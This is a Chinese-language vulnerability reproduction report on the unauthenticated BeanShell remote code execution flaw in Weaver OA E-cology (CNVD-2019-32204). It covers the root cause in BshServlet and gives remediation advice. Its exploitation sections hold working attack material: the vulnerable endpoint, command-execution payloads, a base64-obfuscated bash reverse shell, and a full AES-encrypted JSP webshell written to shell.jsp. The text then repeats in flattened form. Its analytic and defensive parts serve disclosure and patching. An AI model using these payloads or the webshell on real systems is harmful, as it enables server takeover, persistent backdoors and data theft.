泛微OA E-cology(CNVD-2019-32204)未授权远程代码执行漏洞复现分析
字数 1102 2025-08-26 22:11:22

泛微OA E-cology未授权远程代码执行漏洞(CNVD-2019-32204)分析报告

漏洞概述

漏洞编号: CNVD-2019-32204
漏洞名称: 泛微OA E-cology Beanshell未授权远程代码执行漏洞
漏洞类型: 远程代码执行
威胁等级: 高危
影响版本:

  • E-cology 7.0
  • E-cology 8.0
  • E-cology 8.1
  • E-cology 9.0

漏洞描述

泛微OA E-cology系统的Beanshell组件存在未授权访问漏洞,攻击者可通过构造恶意请求直接执行任意Java代码,进而获取服务器控制权限。

漏洞复现

复现步骤

  1. 访问目标系统的Beanshell组件接口:

    http://target/weaver/bsh.servlet.BshServlet/
    
  2. 在出现的脚本输入框中输入要执行的命令,例如Windows系统下执行ipconfig

    exec("ipconfig.exe");
    
  3. 提交后系统将返回命令执行结果。

复现截图

漏洞分析

Beanshell组件介绍

Beanshell是一个轻量级的Java脚本解释器,具有以下特点:

  • 可嵌入到Java应用程序中
  • 支持动态执行Java代码
  • 官网地址: https://github.com/beanshell/beanshell

基本使用示例:

Interpreter in = new Interpreter();
in.eval("boolean boolean = true;");
System.out.println(boolean);

Beanshell中可动态执行代码的关键方法:

  • eval()
  • source()
  • set()
  • get()
  • run()

漏洞成因分析

通过反编译分析bsh.servlet.BshServlet类:

  1. 请求处理流程:

    • doGet()方法获取bsh.script等参数
    • doPost()方法封装调用doGet()
    • 最终调用evalScript()方法执行脚本
  2. 关键代码分析:

    // 获取用户输入的脚本
    String parameter = request.getParameter("bsh.script");
    
    // 执行脚本
    Object eval = this.interpreter.eval(parameter);
    
    • 未对用户输入进行任何过滤
    • 直接通过Interpreter对象执行用户输入的脚本
  3. 执行链:

    用户请求 → BshServlet.doPost() → BshServlet.doGet() → BshServlet.evalScript() → Interpreter.eval()
    

漏洞利用

基本利用方式

直接访问接口并输入Java代码:

// 执行系统命令
exec("whoami");

// 写入文件
f = new FileOutputStream("test.jsp");
f.write("test".getBytes());
f.close();

高级利用技巧

  1. 反弹Shell:

    Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}");
    
  2. Webshell写入:

    String str = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";
    FileOutputStream fos = new FileOutputStream("shell.jsp");
    fos.write(str.getBytes());
    fos.close();
    

修复建议

  1. 临时缓解措施:

    • 删除或重命名bsh.servlet.BshServlet类文件
    • 配置访问控制策略,限制对/weaver/bsh.servlet.BshServlet/的访问
  2. 官方补丁:

    • 升级到最新版本E-cology系统
    • 应用官方发布的安全补丁
  3. 长期防护:

    • 实施最小权限原则
    • 定期进行安全审计和漏洞扫描
    • 部署WAF等防护设备

参考链接

  • Beanshell官方仓库: https://github.com/beanshell/beanshell
  • CNVD漏洞公告: http://www.cnvd.org.cn/flaw/show/CNVD-2019-32204
泛微OA E-cology未授权远程代码执行漏洞(CNVD-2019-32204)分析报告 漏洞概述 漏洞编号 : CNVD-2019-32204 漏洞名称 : 泛微OA E-cology Beanshell未授权远程代码执行漏洞 漏洞类型 : 远程代码执行 威胁等级 : 高危 影响版本 : E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0 漏洞描述 泛微OA E-cology系统的Beanshell组件存在未授权访问漏洞,攻击者可通过构造恶意请求直接执行任意Java代码,进而获取服务器控制权限。 漏洞复现 复现步骤 访问目标系统的Beanshell组件接口: 在出现的脚本输入框中输入要执行的命令,例如Windows系统下执行 ipconfig : 提交后系统将返回命令执行结果。 复现截图 漏洞分析 Beanshell组件介绍 Beanshell是一个轻量级的Java脚本解释器,具有以下特点: 可嵌入到Java应用程序中 支持动态执行Java代码 官网地址: https://github.com/beanshell/beanshell 基本使用示例: Beanshell中可动态执行代码的关键方法: eval() source() set() get() run() 漏洞成因分析 通过反编译分析 bsh.servlet.BshServlet 类: 请求处理流程 : doGet() 方法获取 bsh.script 等参数 doPost() 方法封装调用 doGet() 最终调用 evalScript() 方法执行脚本 关键代码分析 : 未对用户输入进行任何过滤 直接通过Interpreter对象执行用户输入的脚本 执行链 : 漏洞利用 基本利用方式 直接访问接口并输入Java代码: 高级利用技巧 反弹Shell : Webshell写入 : 修复建议 临时缓解措施 : 删除或重命名 bsh.servlet.BshServlet 类文件 配置访问控制策略,限制对 /weaver/bsh.servlet.BshServlet/ 的访问 官方补丁 : 升级到最新版本E-cology系统 应用官方发布的安全补丁 长期防护 : 实施最小权限原则 定期进行安全审计和漏洞扫描 部署WAF等防护设备 参考链接 Beanshell官方仓库: https://github.com/beanshell/beanshell CNVD漏洞公告: http://www.cnvd.org.cn/flaw/show/CNVD-2019-32204